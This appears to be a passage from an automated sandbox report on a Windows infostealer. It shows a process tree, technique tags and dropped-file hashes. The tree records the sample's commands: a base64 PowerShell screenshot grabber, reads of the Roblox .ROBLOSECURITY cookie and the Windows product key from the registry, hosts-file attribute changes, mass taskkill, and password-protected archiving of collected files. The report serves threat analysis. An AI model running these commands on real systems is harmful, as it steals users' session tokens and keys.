AaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:4380
                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ozd5b300\ozd5b300.cmdline"
                                                                                                      6⤵
                                                                                                        PID:5808
                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E26.tmp" "c:\Users\Admin\AppData\Local\Temp\ozd5b300\CSCCEB7C1D822C8498F92E7F128C7EF1495.TMP"
                                                                                                          7⤵
                                                                                                            PID:5396
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                      4⤵
                                                                                                        PID:4940
                                                                                                        • C:\Windows\system32\tree.com
                                                                                                          tree /A /F
                                                                                                          5⤵
                                                                                                            PID:5816
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                                          4⤵
                                                                                                            PID:5476
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              5⤵
                                                                                                                PID:5468
                                                                                                              • C:\Windows\system32\attrib.exe
                                                                                                                attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                                5⤵
                                                                                                                • Drops file in Drivers directory
                                                                                                                • Views/modifies file attributes
                                                                                                                PID:1508
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                              4⤵
                                                                                                                PID:5924
                                                                                                                • C:\Windows\system32\tree.com
                                                                                                                  tree /A /F
                                                                                                                  5⤵
                                                                                                                    PID:5628
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                  4⤵
                                                                                                                    PID:5880
                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                      attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                                      5⤵
                                                                                                                      • Drops file in Drivers directory
                                                                                                                      • Views/modifies file attributes
                                                                                                                      PID:4276
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                    4⤵
                                                                                                                      PID:6072
                                                                                                                      • C:\Windows\system32\tree.com
                                                                                                                        tree /A /F
                                                                                                                        5⤵
                                                                                                                          PID:764
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        4⤵
                                                                                                                          PID:5616
                                                                                                                          • C:\Windows\system32\tasklist.exe
                                                                                                                            tasklist /FO LIST
                                                                                                                            5⤵
                                                                                                                            • Enumerates processes with tasklist
                                                                                                                            PID:5184
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                          4⤵
                                                                                                                            PID:5220
                                                                                                                            • C:\Windows\system32\tree.com
                                                                                                                              tree /A /F
                                                                                                                              5⤵
                                                                                                                                PID:4560
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4532"
                                                                                                                              4⤵
                                                                                                                                PID:5488
                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                  taskkill /F /PID 4532
                                                                                                                                  5⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5200
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2264"
                                                                                                                                4⤵
                                                                                                                                  PID:5380
                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                    taskkill /F /PID 2264
                                                                                                                                    5⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:5580
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3064"
                                                                                                                                  4⤵
                                                                                                                                    PID:748
                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                      taskkill /F /PID 3064
                                                                                                                                      5⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:5476
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4532"
                                                                                                                                    4⤵
                                                                                                                                      PID:5652
                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                        taskkill /F /PID 4532
                                                                                                                                        5⤵
                                                                                                                                        • Kills process with taskkill
                                                                                                                                        PID:5720
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3388"
                                                                                                                                      4⤵
                                                                                                                                        PID:6112
                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                          taskkill /F /PID 3388
                                                                                                                                          5⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          PID:5732
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4404"
                                                                                                                                        4⤵
                                                                                                                                          PID:5552
                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                            taskkill /F /PID 4404
                                                                                                                                            5⤵
                                                                                                                                            • Kills process with taskkill
                                                                                                                                            PID:5156
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2264"
                                                                                                                                          4⤵
                                                                                                                                            PID:5692
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              5⤵
                                                                                                                                                PID:4712
                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                taskkill /F /PID 2264
                                                                                                                                                5⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                PID:6020
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4868"
                                                                                                                                              4⤵
                                                                                                                                                PID:6088
                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                  taskkill /F /PID 4868
                                                                                                                                                  5⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  PID:212
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3064"
                                                                                                                                                4⤵
                                                                                                                                                  PID:764
                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                    taskkill /F /PID 3064
                                                                                                                                                    5⤵
                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                    PID:5288
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4944"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5444
                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                      taskkill /F /PID 4944
                                                                                                                                                      5⤵
                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                      PID:5264
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3388"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:5964
                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                        taskkill /F /PID 3388
                                                                                                                                                        5⤵
                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                        PID:5524
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 656"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5756
                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                          taskkill /F /PID 656
                                                                                                                                                          5⤵
                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                          PID:1840
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4404"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:3132
                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                            taskkill /F /PID 4404
                                                                                                                                                            5⤵
                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                            PID:3152
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4868"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:5328
                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                              taskkill /F /PID 4868
                                                                                                                                                              5⤵
                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                              PID:5868
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 556"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:5976
                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:5936
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /F /PID 556
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:5892
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:5584
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                    PID:5596
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4944"
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:396
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /F /PID 4944
                                                                                                                                                                      5⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      PID:5708
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 656"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:3812
                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                        taskkill /F /PID 656
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                        PID:6128
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:5680
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:6104
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 556"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2368
                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                            taskkill /F /PID 556
                                                                                                                                                                            5⤵
                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                            PID:5648
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:6092
                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:5880
                                                                                                                                                                              • C:\Windows\system32\getmac.exe
                                                                                                                                                                                getmac
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:5780
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe a -r -hp"19921136" "C:\Users\Admin\AppData\Local\Temp\f3kqU.zip" *"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:5644
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:4276
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI44282\rar.exe a -r -hp"19921136" "C:\Users\Admin\AppData\Local\Temp\f3kqU.zip" *
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:2636
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:4700
                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                        wmic os get Caption
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:5748
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:5216
                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                            wmic computersystem get totalphysicalmemory
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:5716
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:5396
                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                wmic csproduct get uuid
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:5940
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:5916
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                    PID:3764
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:3480
                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                      • Detects videocard installed
                                                                                                                                                                                                      PID:5792
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:4804
                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                        PID:3804
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:4168
                                                                                                                                                                                                • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                  C:\Windows\system32\AUDIODG.EXE 0x2c8 0x4b0
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                  PID:4644

                                                                                                                                                                                                Network

                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                Downloads

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  72B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  f75aac8547639089494a766f190673a9

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  5037a7da14bb0f148b58127aac587948992e8c58

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  e1895f333caee2f78eccb92af3be8286777283843b0d9364e89b97f76f2580f0

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  ec677a11c7498a7e043b1679c1865ee61dcff3409dd56012af1bba762c62dbf6d68f1a41b155fb9d7b0a3c19d2b1c7526666fbd53d0e2d549ee1bdf30684029e

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\File System\000\p\Paths\MANIFEST-000001

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  41B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  5af87dfd673ba2115e2fcf5cfdb727ab

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  d5b5bbf396dc291274584ef71f444f420b6056f1

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\CURRENT

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  16B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  46295cac801e5d4857d09837238a6394

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  206B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  40461d0ec8dd964036cc98388c6deb0e

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  653fc83ef65879ac61d0872d3f5da1e0481af2f3

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  582ddab5f08c0a1af831fe172bfe5f44c4af987ce06390b90e4502d9416cd751

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  da2345eb9549d5e1f40bf69a4d117c50748818fbd0664b215487363f06def918601bf112ffefa63ddd90c29f15fb4f095a5e19601eec195e6c4909760843c9ef

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  2B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  d751713988987e9331980363e24189ce

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  521B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  041ce285ec21258aba7e829bb8018b73

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  6b3675db808655aaf6c04bec3d463567494dffb2

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  0361ff2ee91b4ffe045f9a68920cbb6721dcb0e88815ce2904c4c5242a1ddb86

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  0930cad8b088c38852d465a29eb372d5e36d86d10449ccfa36a765502307cdb2170ed5c4be1ef44b6dddbd3c0cf5fd21b53f31b909029c9c978211b473ca8efe

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  7KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  4b131e4d2b3cc5d910e7299557e8d84b

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  44114ef7ec69c613c06dc17bf5af7f5daabd89f9

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  2e1c50716cf5050ef198a6efebe7293c9f242b0cb73ed5784bcff107ca015bbf

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  00c32b102d18044c5e74ee460912e9fdd91300f6b3002fb55210cc56355a477821a63f54a67bb3d77f12e44e471af4a14afba13c48502d88373ed846b20c86f9

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  96B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  e73a65d597d36b1e04d1f676f8ffba06

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  96ce40ce13a5652bd1dca28477a451cdf426b949

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  a8b011ac144644ac110fbf572963bc93cfe39e7b92ba0ca1050f7d9ee7d62584

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  9607730f23758da297c3f9c04a737c9a5ccd9432de4247cca615fef0508429cf04b4bd4f3102251a313be0025ebedfb4def3d35fe46887293d02a5d3f4e88cf8

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  138KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  74fa53c7c88d7b33b1d1dacee5f9eddf

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  39cb6496ccd72ac972cd3a19d0ec7af96c280cc7

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  d86fedb232132ba5bba7ebf6d619f89e57553daf278411e6ae7f276715093cb3

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  996540f9d67fcdcaa373a8790a3cfbdb4104175756b8b4f0fe9e8138182200d105d81681fc5e148d3f4e451239b896c59419cf4370396f91f59a912e8f9dab1d

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  2KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  944B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  6d3e9c29fe44e90aae6ed30ccf799ca8

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  c7974ef72264bbdf13a2793ccf1aed11bc565dce

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  944B

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  04f1d68afbed6b13399edfae1e9b1472

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  8bfdcb687a995e4a63a8c32df2c66dc89f91a8b0

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  f358f33a42122e97c489fad7bbc8beab2eb42d42e4ec7fce0dd61fe6d8c0b8de

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  30c5e72a8134992094d937d2588f7a503b1d6407d11afe0265b7c8b0ce14071925e5caed13fc4f9c28705df4c7aed3601f81b007048b148af274d7784aa5fb75

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI44282\VCRUNTIME140.dll

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  106KB

                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  870fea4e961e2fbd00110d3783e529be

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  a948e65c6f73d7da4ffde4e8533c098a00cc7311

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\_MEI44282\_bz2.pyd

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  46KB

                                                                                                                                                                                                  MD5

